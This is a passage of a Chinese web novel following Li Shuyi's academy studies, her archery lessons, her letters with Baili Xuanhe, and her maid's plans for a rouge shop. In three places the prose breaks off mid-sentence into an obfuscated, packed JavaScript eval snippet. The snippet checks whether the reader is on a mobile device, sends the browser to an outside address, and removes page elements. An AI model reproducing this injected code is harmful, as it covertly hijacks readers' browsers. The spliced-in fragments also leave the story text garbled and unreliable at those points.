今日的午课是史学课,博士目前正授到前朝历史,因她过去看过不少相关的史书,学起来倒是轻松。 课程结束时已经申时,堂内学子伸懒腰的伸懒腰,打哈欠的打哈欠,大家懒散地收拾课本,准备回家。 黎书意也迅速整理好自己的东西,走到门口时与魏慕依撞上。 “明天见。”魏慕依朝她展颜摆手。 她笑回:“明天见。” 道了别,她拿着填好的表格去了祭酒休憩的偏厅。 走至门口,她抬手轻叩两声门,朝内报说:“见过祭酒,我是黎书意,来交课业表的。” “进来。” 听见回应,她推门而入。 进屋以后,看见祭酒坐在案头,面前是一堆答卷,她走上前去,双手递上图表。 祭酒抬起头来,接过图表看了一眼,然后和蔼地问:“可还适应?” “能。”她含笑点头。 交了图表,从偏厅出来,她独自信步走着,两眼漫无目的地在四处飘荡。 刚下学的国子监很热闹,众学子兴冲冲地从书堂里涌出,他们三五成群地走在园中,谈笑风生,到了大门口便互相作别,最后登上了自家的马车,从前羡慕的欢乐和温馨如今她终于参与其中了。 按着早上来时的路,她走到院门口,一番找寻,看到了挂有黎家旗帜的马车,她走上前去,踏着马凳登车。 等回到府上,她刚进入易安居,兰亭和舒凌寒两人便齐迎上来,兰亭接过她手上的提盒,然后问:“二姑娘感觉怎么样?” “挺好的。”黎书意随口回道,课前被挑战的小插曲她不打算说,免得这丫头担心。 “她们没有欺负您吧?”兰亭却是不依不饶。 “好啦,”舒凌寒拿手轻推兰亭,“你就别瞎猜了,已经酉时了,二姑娘该饿了。” “对对对,婢子这就让小厨房传饭。”兰亭闻言一拍手,旋即往厨房去了。 待她走远了,舒凌寒收回目光,望着黎书意道:“那丫头担心您在学堂受委屈。” “唉……”黎书意轻叹口气,“不过就那些事,没什么难应付的,等几天大家热闹劲过了,就好了。” 说罢,两人进屋了。 132. 习箭 不多会,兰亭抬了饭菜回来。 不知是菜太合口味,还是心情好的缘故,今日黎书意的食欲格外好,每道菜她都吃了六七分。 食案撤下,她移步到坐榻上,一面喝茶一面消食,享受着傍晚时分的安宁。 正在放空头脑之际,忽听到门外兰亭拉高嗓门大喊道:“这哪来的鸟,怎的飞这里来了,样子看起来有些凶,快把它赶走!” 凶鸟?黎书意眸光一闪,急忙起身下榻,三脚两步走到外面。 站在廊下,她看见一只蓝灰色游隼在院子里盘桓,果然是前夜百里烜赫带来探路的那一只。 那鸟很有灵性,见她来了,便直直飞了过来。 “二姑娘!”兰亭不清楚情况,移步护在她身前。 “无事。”她含笑轻轻推开了兰亭,解释说,“这是他传信用的鸟。” 说毕,递出胳膊,下一刻游隼很自觉地落在她肘上。 它颇有些重量,黎书意抬起另一只手,打开鸟腿上绑着的信筒,从里面抽出被卷起的纸张。 拿了信,她放下胳膊,游隼便开始振翅绕着院落飞,她则转身往书房去了。 进入书房,她拉开纸张,纸上写的字不多,统共就两句。 「今日去了少府监,前两日玄都生产的第一批生丝刚刚运到,我看了,生丝丝线清晰,质量上佳,推广蚕桑之事算是顺利。你今日上学堂感觉怎么样?」 阅完,她走到书案前坐下,提笔写回信。 「国子监的环境非常好,屋舍俨然,美轮美奂,博士们睿智又亲切,尤其是祭酒,他为人儒雅随和,学识渊博,授课也特别有意思。同窗们人都很不错,魏慕依贴心地带我熟悉学里的情况,另外,膳堂的饭菜还挺好吃的。」 写毕,她凑近纸张轻轻吹了吹,待墨迹干透了,便将信纸折起来,开门出去了。 游隼一见到她便又飞了过来,她把信装进信筒里,再盖好盖子,然后对这颇有灵性的小动物道:“去吧。” 于是游隼拍着翅膀一点点飞远,再一点点飞高,看着小东西越墙飞走了,她转身进小厅了。 此时天已经擦黑。 想到父亲可能会挂心她的情况,她打算去长卿院,告诉他今日一切都好,还未动身,父兄已经先来至她院中,她同二人说了和给百里烜赫的回信相差无几的内容。 送走了父兄,她进了书房。 作为一个半路入学的学子,她缺了太多课业,想要不落后于人,也只能私下花时间来弥补。 夜幕低垂,万籁俱寂,书房内散发出柔和昏黄的光亮,黎书意在灯下看得认真,祭酒亲编的书籍内容层次丰富,理得辞顺,又寓教于乐,读来竟然十分有趣。 看得正投入,兰亭走进来问:“二姑娘还不睡觉?” 她瞥了眼烛台,见蜡烛还有指节长短,回道:“我再看一会,你给我添一杯茶。” …… 翌晨,和昨日一样,在洗漱和早膳结束后,兰亭与舒凌寒送黎书意到大门口,不过今天的告别少了几分担忧。 到了国子监,黎书意轻车熟路地进入扶摇堂,同窗的女孩子们也不像昨日那般窃窃私语了,只瞧了她一眼,便收回目光做自己的事了。 早课是画课,授课先生命众学子以“你心目中最美的风景”为题,限时半个时辰完成画作。 从会用笔起,黎书意便开始作画了,创作《陈冤录》时她更是一月作十数副,对构图、笔法和用色很有经验,她自信虽然无法与大家相比,但在同龄人中当属上乘。 她盯着纸张凝思,从记忆里搜寻所见过的美好风景,春日,中山泉莺啼柳烟,流水迢迢;夏日,西庭湖桃李夹岸,荷花满塘;秋日,弘恩寺山花烂漫,金叶纷飞;冬日,千芳园冬枝凝霜,屋檐堆雪……每一处都风景如画。 可若说她记忆最深刻的,还是当属家里的一草一木,尤其在被迫逃亡之后,那个地方只能在回忆里找寻了。 她画的是前岁将军府某日在后花园举行家宴的场面,当时,母亲看府中后花园内桃梨竞相开放,兴致骤起,于是备了瓜果点心和佳肴美馔,办了一场春日家宴,叔父叔母,以及府中宗亲家臣皆受邀前来,大家一同赏花品酒,清谈游乐。 虽宴会的规格比不上宫宴奢侈,但因参宴的是最亲近的人,且又在自家的府邸内,氛围格外温馨自在,于她而言,那是一段极美好的回忆。 她静静地端坐于桌前,手中画笔在纸上轻盈游走,先勾勒出大致轮廓,接着细致入微地描绘每一处细节,最后精心涂抹上色,将记忆里美好的画面留存于画纸之上。 半个时辰到了,大家上交画作,先生逐一看过后最终挑出了三副她觉得不错的,黎书意的正在其中。 不过,经过投选,最终拿到第一的是一个叫雷妙染的女孩,她画的景物很奇特,两侧蓝黄色交叠的部分既像是山峰,又像是树丛,中央朦胧地晕染开一团浅色,有些像日光,下方有一条蜿蜒的曲线,应当是河流。 黎书意本以为这是一副写意山水画,可再结合下部分的凸状物看就不好解释了,只见上面的如倒挂的冰棱,下面的如矗立的宝塔,它们层层叠叠,形态各异,并不像云雾和土地。 盯着那画捉摸了好一会,她终于揣摩出这似乎是自己从前看过的地理志上所描述的溶洞奇观。 事实上,她也投了雷妙染,因为她的笔法简练潇洒,用色巧妙大胆,却又意蕴深远,令人观之即叹。 先生随后让雷妙染阐述灵感,雷妙染解释说这是她前两年随父亲外出游历时在某个山洞见到的真景,最后感慨一句尘世美景远比你想象得要神奇。 虽然没拿到第一,但是黎书意并不难过,反而被画上的奇景触动,那一刻她体悟到自己去的地方太少了,想着以后也要多出去外面转转。 下了课,魏慕依过来找她,两人一起去了膳堂,从厨子那里领到饭菜,她们便坐在木排桌前面对面用饭,然后边吃边聊,尽管昨日已经体验过了,这对黎书意来说依旧新鲜有趣。 吃过饭,两人去花园里闲坐。 春阳和煦,草绿花红,清风吹动,带着甜香气息的暖流不时从面庞掠过。 坐了半个时辰,魏慕依忽然神色恹恹地叹道:“唉,又要上课了,我最讨厌琴艺课了,那些指法对我来说太难了,当初就不该选。” 抱怨完,她转头问黎书意:“对了,你选的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545791|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 黎书意道:“射箭。” “射箭?”魏慕依惊呼出声,将她上下一打量,指出道,“你看起来不像会的样子……” “是不会。”黎书意平静地接话,不过正是因为她不会,所以才想学。 曾经的她生活在家人为她搭建的保护圈里,几乎不需要担心自己的安危问题,她也乐得自在。 可自从开始参与调查昭王案背后的真相起,她常常与危险擦肩,尤其逃亡的这一个多月,她和她在乎的人数度在生死线上徘徊。 于是她改变了想法,她不想在大家都努力战斗的时候,自己除了站在一旁干着急以外,别无他法,她恨透了那种无能为力的感觉,所以当看到课程安排上有武课时便起了心思。 刀枪剑戟对她这副缺乏锻炼的身体来说实在太过勉强了,武功心法之类的,又需要长久的锤炼,很难速成。 相比之下,射箭更适合目前的她,弓箭相对轻便,只要她掌握好诀窍,再勤加练习,短期内是可以获得卓著成效的。 漫步出花园,两人就此作别,然后各自往各自的课堂去了。 射艺课在室外进行,课堂设在东面的校场上,校场六丈见宽,视野开阔,一侧设有三座圆形靶标。 黎书意到那里时,见校场已经聚集了三四十人,有男也有女。 “她居然选了射箭!” “她父亲是武将,选射箭有什么奇怪的。” 和魏慕依一样,他们对她的选择感到惊讶,议论在她汇入队伍时消停了。 不远处,一男一女正朝这边走来,众学子见后快速列好队,等两人到了队伍跟前,大家异口同声问好:“周师傅,吴师傅好!” “见过两位师傅!”黎书意也跟着一起问好。 到了方阵前面,男师傅负手而立,刚毅的脸庞向众人一扫,沉静地开口道:“好,大家先活动身体。” 话音落下,诸位学子行动起来,在女师傅的口令下开始舒展身体。 黎书意迷迷糊糊地跟着前面的人比划着动作,后来发现竟然是八段锦,这个她是会的,从前父亲在家时经常练习,她去院里请安时碰见了偶尔会跟着一起。 等活动好了,男师傅又道:“好,接下来开始排队练习吧,和以前一样,一人一次十支箭,循环着来。” 规则说完,大家迅速动身,不一会的工夫便在靶标对面排起三条长队。 作为纯粹的新手,黎书意无论是姿势,还是手法都不太了解,所以她没有表现得很积极,她站在面对第三支靶标队伍的最末端,想先看看别人是怎么做的。 队列最前面的人已经持弓引射起来,箭矢擦破空气的声音此起彼伏响着,有人中靶,也有人脱靶。 “射箭需心静,心若不静,箭必失准!” “持弓需稳,用力要均!” 两位师傅在三支队列里穿来走去,一边指出射箭要领,一边替学子矫正姿势。 黎书意将他们的话铭记在心,同时认真观察着前面学子的射箭姿势,比如他们是怎样拉弓怎样瞄准的,又是什么时候放箭的。 这么听着看着,不知不觉间,身前只一个人,该轮到她上场了。 133. 教授 待前一个学子射完,黎书意从他手上接下弓,又往旁边箭筒里拿出一支箭来,虽然已经在脑海里演示过好几遍了,可当真上手时,她动作还是磕磕绊绊的。 将箭放到弦上,她深呼吸一口气,然后闭上左眼,右眼顺着笔直的箭头,看向远处的靶标。 周围开始变得安静,旁边射箭的人都停下来观望,她又做了一个深呼吸,努力摒除心中杂念,让自己集中注意力,调整好了便脱开手。 手刚刚垂下,射出的箭也跟着落下了,尽管她已经用了全部的力气,可箭却是连靶子都没沾到,在两步开外的地方便急急坠地了。 “噗嗤!” 周围爆发出哄笑声。 有人奚落道:“身为将门之女,居然不会射箭!” 是啊,她也很后悔,后悔自己以前为何不向父兄讨教,她明明有无数次机会的…… 一名清秀的少年替她回击:“你是大鸿胪之子,不见得你会说胡语!” “不要吵,练你们自己的!”女师傅说着朝黎书意走来,接着手拍上她的脊背,“挺直。” 她听话地挺直腰杆。 “拉弓的时候,注意感受力量的流动,不可过急,也不可过缓,要行云流水,一气呵成。” 她遵照指示而动。 “好,放箭!” 她松手,同时目视前方,射出的箭虽然触到了靶标,却又弹开了。 “力度和准头都还不够。”女师傅评价说。 她继续射箭,并根据前面的失败,不断地调整姿势和力度。 后面的八支箭,有的触到靶标弹开,有的擦过靶标,只有最后一箭碰到了外环,尽管对结果气馁,但黎书意明白,一口气吃不成胖子。 等这一轮练习结束了,她把弓递给下一个人,脱手时才发现胳膊酸涩无比,像有无数只蚂蚁在啃咬一般。 不过,这点不适和逃亡的被动挨打比起来又实在不算什么事了,她会继续好好学的,直到彻底掌握箭术。 …… 每日晨曦初露时起床洗漱,用罢早膳便乘马车去国子监,进入书堂后开始一天的学习,课间休息时与同窗们天南地北地闲聊,然后再在日落西山时乘马车回家。 回到家中,兰亭和舒凌寒总是第一时间迎上来,一个接过她手上东西,一个贴心地给她倒茶,接着再问一问学里可发生什么趣事,最后端上厨房精心准备的热汤热菜。 父兄隔三差五从营地回来一次,一起用饭时他们说营地情况,她说学中情况,两相分享着彼此的生活。 游隼一到两日必来易安居一回,百里烜赫在信上不过简述自己近来的日常,再问一问她这边的情况,她便同他说家里的事和学堂里的事。 她忙着上学,他忙着处理公务,两人根本凑不到一块,连面都见不着。 很快,旬日到了,国子监迎来休沐。 吃过早饭,黎书意让人备了马车,打算去城郊军营,自父亲主持军队的训练以来,她还未曾亲自去看过,她想着自己可以先在那里练箭,然后等父兄忙完了,再与他们小叙。 军营路途略远,赶不及吃午饭,兰亭备好足够的糕点和茶水,用于路上垫肚子,花了将近两个时辰,终于赶到了。 马车在辕门前停下,下车放眼望去,但见军帐林立,旌旗猎猎,气势恢宏肃穆。黎书意走到门口,向守卫说明了身份,一番核查过后最终被放行了。 一进去,首先看见了正在进行摔跤训练的方阵,带队的人是展元,阵中精兵个个精神抖擞,发力时声音洪亮。 展元喊口号时看见她,笑着走了过来,问候道:“二姑娘怎么来了?” “听说这里有块很大的射击场,所以想着来这里练箭。” “二姑娘在学习箭术!”展元眼中闪过一抹惊讶。 “嗯,我选了武课。”他的反应令黎书意心中得意,父兄知道时也很诧异,她已经开始期待百里烜赫听后的反应,偷乐完,她接着问,“对了,父亲呢?” “将军、少将军和黎副将正在与定王谈话。” 什么?百里烜赫竟然也在此处。 与展元略寒暄了几句,问过射击场在何处,黎书意与他别过,带着兰亭和舒凌寒往靶场去了。 靶场地势开阔,四周以青石砌成的围栏环绕,场内地面平实坚硬,比国子监里要宽敞许多,设施十分齐全,拥有几座与人一般高的兵器架,靶标共有十个,距离设置得也更远。 此时营地并未组织箭术训练,所以这里并没什么人,不过这样正好,不至于干扰到练兵。 为了方便练习,开始前黎书意让兰亭替她绑袖子。 “二姑娘您真厉害,居然学习射箭。”兰亭一边绑一边赞叹道。 “不过是为了紧急时刻防身罢了。”黎书意说着理了理头发,然后假做威胁地看着面前的二人,“我才刚学,待会你们可不许笑!” 等袖子绑好了,她从弓箭架上挑了一把趁手的弓,然后走到引射处前站定。 摆好姿势她搭弓拉箭,只是毕竟才上了两堂课,哪里能那么快进步,这第一箭便光荣脱靶了。 兰亭和舒凌寒在旁边看着,两人都没有表露出失望来,不是因为二姑娘刚才的“威胁”,而是对她们来说,光是二姑娘学箭就有够令她们吃惊的了。 尽管出师不利,黎书意却并不气馁,毕竟她来这里就是为了练好它的,从箭筒里拿出一支箭,她继续搭弓,与新弓箭磨合。 如此射了五六支,她逐渐找到了手感,这最新的一支终于射到了箭靶上,只是依然是沾在外圈上摇摇欲坠。 “你的姿势不够标准,用力也不均匀,且在放箭时持弓的手不稳!” 骤然听见兰亭和舒凌寒之外的声音,黎书意好奇地急转过头,然后看见一个身穿红衣的女子抱臂站在台阶上,是花英。 想起她刚才的话,黎书意开始回顾自己射箭的过程,这么一想,发现她确实有这个毛病。 这恍神的功夫,花英已经下台阶朝她走来,到了跟前,花英从她手中拿过弓,又从箭筒里抽出一支箭,然后她目视前方,举弓架箭,动作利落娴熟。 “持弓的手要稳,拉弦时不能太用力,要找到那个平衡点。”她边说边瞄准靶心,再和缓地扣紧弓弦,拉满之后果断放箭,随着一声短促的响声,箭正中红心。 “你再来试试。”花英转身,将弓递过来。 黎书意接过弓,从箭筒里拿了一支箭,她按照花英刚才的示范,认真调整着自己的姿势和用力方式。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545792|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>做了一个深呼吸,她瞄准靶心,待弦弯成了满月形状,便松手放箭,箭顺势飞速地朝着靶心飞去,“嗖”一声,稳稳地扎在了靶心上。 见成功了,她露出喜悦的笑容,转头感激地看着花英,花英唇角勾起一丝浅笑,旁边兰亭和舒凌寒也兴奋地拍手跺脚。 “小女射艺不精,难为花将军肯教她!” 黎书意正在高兴的当口,听见这话,忙转过头去,见是父兄过来了,与他们一道的还有百里烜赫。 她的箭术粗陋,意外被三人撞见,心里多少有些羞赧,她原想等表现得足够拿出手了,再向他们展示的。 “黎将军言重了,黎二姑娘天资聪颖,一点就通,又勤学苦练,相信不久后射艺便会大有长进的。”花英客气道。 已经练了小半个时辰,此时黎书意的精力差不多到了极限,将弓放回到兵器架上,她朝三人走去,到跟前依次开口叫道:“父亲,兄长。” 当目光移到百里烜赫脸上时,她滞了一息,然后才行礼问候:“见过定王殿下。” 两方汇合后,他们一起往演武场东侧去了,那里正在进行一场大型的战术演练。 只见场上旌旗飘摆,队伍整齐,将士们军姿挺拔,身上盔甲鲜亮。 在黎裕的指挥下,将士们分成不同的方阵,他们或进或退,或攻或守,阵法变幻莫测,喊杀声震天,兵戈如密林,整齐有力的步伐激起阵阵尘土。 高台之上,五人审视着场中正在进行战术训练的将士们,期间,黎横天不时向百里烜赫和花英解释战术的用法和目的。 看了一会后,他们往回走,路上也一直在讨论如何提升军队的战斗力,等到了营帐区,三位身为将领的钻进营帐继续深谈去了。 黎书意并未跟进去,她转过身看向旁边的人,思考着这不期然的碰面该聊些什么,哪知道一抬眼就见百里烜赫一脸责怪地望着她,并有些吃味地说:“你都没和我说过你在学习箭术。” 闻言,她俏皮地笑了笑,“我故意的,想着等练好了再说,好让你大吃一惊,没成想今日被提前撞见了。” 话落,听见他正经夸她:“才刚学就这样已经很不错了。” 没人不喜欢听好话,她受用地弯了弯唇,不过也不敢骄傲,毕竟这全赖花英的点拨,要是他们再来早一些,就会看到她糟糕的射艺了。 不远处有一队方阵正在做刀剑训练,口内不断重复着“哼哼哈嘿”的声音,见这里人多且嘈杂,并不是聊天的好地方,两人便往里走。 落后他们一步的兰亭和舒凌寒识趣地没跟上去。 到了安静的地方,百里烜赫重拾刚才的话题,做出表示道:“若你想学射箭,我可以教你。” 听到这话,黎书意嘴唇轻扬,故意问:“你这么忙,能有时间?” “想有总是可以有的。” 她了然地一点头,不过最后还是拒绝了这份好意,解释说:“如今你在丹霄的根基不稳,还是先忙正事要紧,况且花英这个师傅很不错。” “行吧……”百里烜赫未再坚持。 两人说了一会话,百里烜赫便离开军营了,黎书意在父兄与花英谈完正事后小坐了片刻,也准备离开,临走之前她与花英约好了,一旬之后再来这里求教。 134. 访友 距离黎书意入国子监已有月余,她夜夜挑灯读书,总算把缺的课业给补上了,也把书局掌柜推荐的书目看完了。 接下来,她想再找点诗文品评的书籍,这能为她提供更多的品鉴角度,方便更加全面和深入地了解丹霄的诗文,只是她知道的丹霄文人十分有限,不知道该如何选择。 正在苦恼之时,她扫见了案头摆着的《古今》,忽然想起来,那日李诗施曾说过若有需要可以去东篱街李府找她。 自己此时不仅有需要,也一早就想结识此人,踟躇片刻,她写了一份拜帖,然后派仆从送到李府。 仆从回来时带了回帖,李诗施邀请她明日上门,于是次日午后她便登门拜访了。 家里与李府相距并不远,仅隔着几条街,从马车上下来,一座恢弘大气的宅邸映入眼帘,门的两侧蹲立着神态威猛的雄狮,朱漆大门上铜钉闪闪,一块黑金牌匾高挂于门楣之上,行云流水写着“李府”二字。 因预先下了帖,报上姓名没多久后便出来一位女管事,热情地将她们带进了主人的院落,院中叠石凿池,佳木葱茏,花影缤纷,十分清幽雅致。 游目四看之时,李诗施出来了,她满脸笑容地走到黎书意跟前,“正在想你何时会来找我,可算是等来了。” 主人如此热情好客,黎书意深感不好意思,忙解释道:“抱歉,实在是最近有些忙。” “我知道。”李诗施说着将她拉进右边的一个房间里。 这是一间书房,紫檀木书架直达壁顶,一架架连过去,按竹简、锦帛、本册分门别类放置,藏书量之丰,令人咋舌,这简直就是爱文者的圣地。 本来还有些拘谨的,此刻她只觉得温馨,随意扫看间,侍女送来了热茶和几盘点心,两人在榻上坐下。 等侍女退下了,李诗施挑起话头问:“在国子监感觉怎么样?” “挺好的,诸位博士授课认真,课程生动有趣,学子们也都很好相与。”黎书意认真说着自己的感受。 说完,见李诗施笑道:“我可听我弟说了,你刚去的那日便被吴云初挑战了。” 国子监里的学子皆出生富贵,伊洛的士族圈子就那么大,黎书意知道那事很快便会被传扬开,倒也没有太意外,就是与刚才的话相悖,让她多少有些尴尬。 这时,耳边听见李诗施一字一顿地复述道:“西景的女子资质并不比你们差,她们只是没有入学的机会而已。” 没想到李诗施那不知名的弟弟竟然连这句话也说了,尽管这是她的肺腑之言,可从别人口中讲出来,听着多少有些怪异,实在令她感到羞耻。 况且,按道理说,现在的她可是丹霄的子民,她真不知道眼下这境况该说什么了,便赧然沉默着。 “对了,还未问,你今日找我何事?” 好在,李诗施下一句便自如地转了话头,她便顺话提出了请求:“我想找一些诗文品评的书籍,但由于目前对丹霄的文士了解得不够深,怕选不好,所以想让你推荐几本。” “这个好办,我这里就有不少。”李诗施说着站起身来,朝那几排摆满了书籍的书架走去。 尽管非常想一睹书架上的书,但是考虑到自己是来做客的,且她们还不相熟,所以黎书意便没有跟过去,只在原地等待。 安静地坐了一会,李诗施抱着一摞书回来,将书放在案上后,她拿起一本书,贴心地向黎书意介绍起来:“我建议你先看《诗赋》,这本书集中探讨了丹霄诗歌创作的过程、方法和巧思。” 说罢,她放下抄起另□□:“这本《文格》你最后看,它算是比较全面的诗文品评专著,书中提出了各种鉴察方法,并详细论述了诗歌创作和批评的各个方面。” “谢谢,我明白了。”黎书意虚心接受。 李诗施粲然一笑,将把书理齐了,然后往她这边一推,豪气道:“都送你了。” 送她?黎书意闻言一愣,最后摇了摇头说:“这都是你的珍藏,我怎好意思……” “你就收下吧,”李诗施一脸无所谓,“这些书我都看过好几遍了,内容已经记在脑子里了。” “那好吧。”盛情难却,她最终接受了。 这时,门外传来侍女的声音:“大姑娘,花将军来了。” “快叫她进来!”李诗施的声音里充满了好友来访的喜悦。 言未尽,花英推门走了进来,眼睛往榻上一扫,看见黎书意,轻笑道:“远远地就看见你的两位侍女,便知道你也在这里。” 花英和李诗施是多年好友,两人说话没什么顾忌,在她加入之后,书房里的气氛一下子热络了许多。 因黎书意在跟花英学习射箭,李诗施便问她怎么会想到学箭的,她说是为了遭遇危险时能够自保,然后话题自然而然便转到了她逃亡的惊险经历上,接着又提及了《陈冤录》。 她们天南地北地聊起来,一直聊到了傍晚,最后她和花英被留下来用饭。 吃饭期间三人也继续聊,等食案撤下时已经暮色四合,她与花英在李诗施的欢送下各自登车回家。 自此,黎书意除了和花英学习射箭,偶尔也向李诗施请教文史相关知识,魏慕依与李诗施是表姊妹,与花英关系亦不错,黎书意与三人往来越发密切,有时得空了,便会一起小聚。 转眼来丹霄快两月了,眼下父兄在军营里练兵,她入国子监读书,他们已经很好地融入了新环境,刚来时的紧张和担忧慢慢消散,她的日子过得平和安宁。 起早贪黑许久,今日的休沐黎书意打算放纵一天,吃毕早膳,她站在门口防控,但见外头晨光绚丽,庭院里沾了清露的花草熠熠闪着亮光,舒凌寒正在指挥一个小丫头摘花。 看见她,黎书意忽地想起来,自己还有一件事情未完成,于是朝外头叫道:“舒凌寒,你进来,我有事同你说。” “是,二姑娘。”舒凌寒应声,然后抛下手边杂务,转身进了书房。 看着走进屋里的人,黎书意问:“两个月了,你可想好要做什么了?” 闻言,舒凌寒的眼底突然亮起了一道光,近来二姑娘事忙,她虽心中焦急,却不好意思主动提起。 默了片刻,她注视着面前的人,一脸正色道:“二姑娘,我想好了,我打算继续开胭脂铺。” 顿了顿,她继续往下说:“我在西景经营胭脂铺两载有余,对这方面的商市情况和胭脂的制作工艺有经验,而且这几个月上街,我发现丹霄上到皇室贵族下到普通百姓,女子们都盛行化妆,相信好好经营,生意必定红火。” 居然连这层都想到了,黎书意心里涌过一抹欣赏,不过若非如此,当初她也不会同她打赌了。 “铺面的事我会替你想办法,只是像铺子装修、原料采买、伙计聘用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545793|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些就得靠你自己了,目前我还要上学,实在没精力照顾到,当然,若是你遇到了麻烦,我会尽可能提供帮助。” 当初开清芙阁,主要是想摆脱沉闷的深闺生活,如今她已经踏上了更渴望的那条道路,对经营铺子的兴趣自然就没那么大了,她只需要把它当作一项有价值的投资即可。 “这就够了。”舒凌寒真诚说道。 从前受制于西景的礼教和律法,女子经商不易,许多事需要依托关系才能行得通,这里没有那些限制,丹霄的女子们深入地参与到各行各业里,尽管缺少了倚仗,面临的困难会很多,但是这也给了她更多的发挥空间,她乐于接受。 “行,那这段日子你好好想想店铺的事,” “是。” 商议已定,舒凌寒退下出去做事了,黎书意则开始看从李诗施那里得到的书。 正看着,听见窗沿处有窸窸窣窣的响动,扭头看过去,见一团不小的黑影在窗台上徘徊。 来了多次,游隼已经熟门熟路,她推开窗,让鸟儿飞进来,然后从信筒里拿出信纸。 「近日多在钱监走动,“如意通宝”样式如今终于确定,最终将以楷体刻在钱币上,并在边缘设凸起轮廓,等模具制好,就可正式投入铸币。你那边如何?国子监里的课程进度可赶得上?若赶不上也不必着急,日子还长。」 “如意通宝”是朝廷新推行的货币,磨钱取铜的谋利行为在民间由来已久,近些年越来越严重,一直是朝廷头疼的问题。 前月,陛下决定采取措施抑制,进行一次货币管理改革,遂在朝议上向众臣寻求良策。 百里烜赫提出严格把控铜料的质量和用量,采用高精度的铸造技术的建议,以保证钱币的质量和规格统一,此策被陛下听取,他近日正为铸新币的事情忙碌。 黎书意边走边阅完,然后落座铺纸挥毫回信。 「有了如意通宝,再加上律法的制约,相信磨钱取铜的行为定然大幅下降。我这边一切安好,课业已经追平了,你不必担心。」 写到这,她手执毛笔略做停顿,片刻后又继续写起来,说了舒凌寒打算开铺子的事,并请求他帮忙找一个位置优越、价格公道的铺子。 这事她一开始是打算找父兄帮忙的,后来考虑到两人大半时间都待在军营里,打交道的也多是武将。 不像百里烜赫,他身为王爷,常在各处走动,主动结交的官员数不胜数,求他显然更好办。 写好了信,她让游隼带回去。 等到第三日下学,刚回府没多久游隼便来了,她迫不及待地抽开了信。 「铺子我已经让人挑好,一共筛选出三间,都在繁华的街市上,你明天可以去看看,若不合适,我再让人另寻他处。」 隔天,黎书意便带着兰亭和舒凌寒去看店铺。 第一个店铺在叶影街,大小与从前的相当,第二个和第三个皆在花锦街,一个在左边街道中部,一个在右边街道尾部,前面那个略小,后面那个则相对宽敞。 毕竟舒凌寒才是未来的掌柜,黎书意自然以她的意见为准,便问:“你觉得哪个更好?” “我喜欢第二个。”舒凌寒回答,接着解释起来,“这个铺子虽然最小,但位置最好,在街道中段,且与绸缎铺和首饰铺毗邻,是女子常会光顾的地方。” “行,那便第二个吧。” 135. 开店 受课业的牵绊,次日黎书意没有再去商市,而是将签订契约和交付定金的事全权交给舒凌寒处理,她在外行商两年,与百姓、商人打交道多,这上面的门路不需要操心。 申时,黎书意下学回来,回到易安居后,她想问一下舒凌寒那边的情况,问兰亭,却说人还未归。 游隼倒是准时来了,黎书意才刚坐下没一会,小家伙便扑腾着翅膀飞到门口,她只好起身去拿信。 信上,百里烜赫询问她们看店铺的情况,她握着信纸回屋,写了最终选定的铺面,并附上了感谢。 送了信,小厨房开始传饭,她净过手,在食案边坐下用饭。 等吃完饭,舒凌寒终于踏着暮色回来。 “怎的这时候才回来?”黎书意好奇问道。 “回二姑娘,”舒凌寒喜眉笑眼答道,“签完契约我见时候还早,便去东市上转了转,想着先看看桌椅柜台。” 瞧她这副劲头十足的模样,黎书意笑了,好像看见了前不久那个被学堂生活所迷醉的自己。 随着开店计划紧锣密鼓地展开,舒凌寒愈发忙碌起来,因此大多数时候,她都直接宿在胭脂铺的后宅,只偶尔才回府一趟。 黎书意每次碰到她,便会询问几句铺子的进度,两人时常就铺面装修、伙计招聘等事交换意见。 这日,黎书意下学回来,吃过晚膳后,她移步至书房,准备温习今天的功课。 恰在此时,好几日未曾露面的舒凌寒回府了,并第一时间进屋来向她请安问候,她便如同往常一样询问起铺子的情况,舒凌寒笑答道:“铺子已经装修得七七八八了,再有几日就能全部完工。” 知道她目前正忙得不可开交,此番回府应是有事相商,于是黎书意便问:“可是遇到什么难题了?” “是。”舒凌寒点头,接着便说起来,“眼下铺子已经收拾妥当了,伙计也招聘好了,接下来就该准备制作胭脂的事了,只是我们初来此地,对这地方哪里的花瓣品质优良、香料上乘,完全摸不着头脑,再就是对于这些材料的价格也没个准数,我担心若贸然采购,怕是会吃大亏,所以特来请二姑娘您帮忙。” 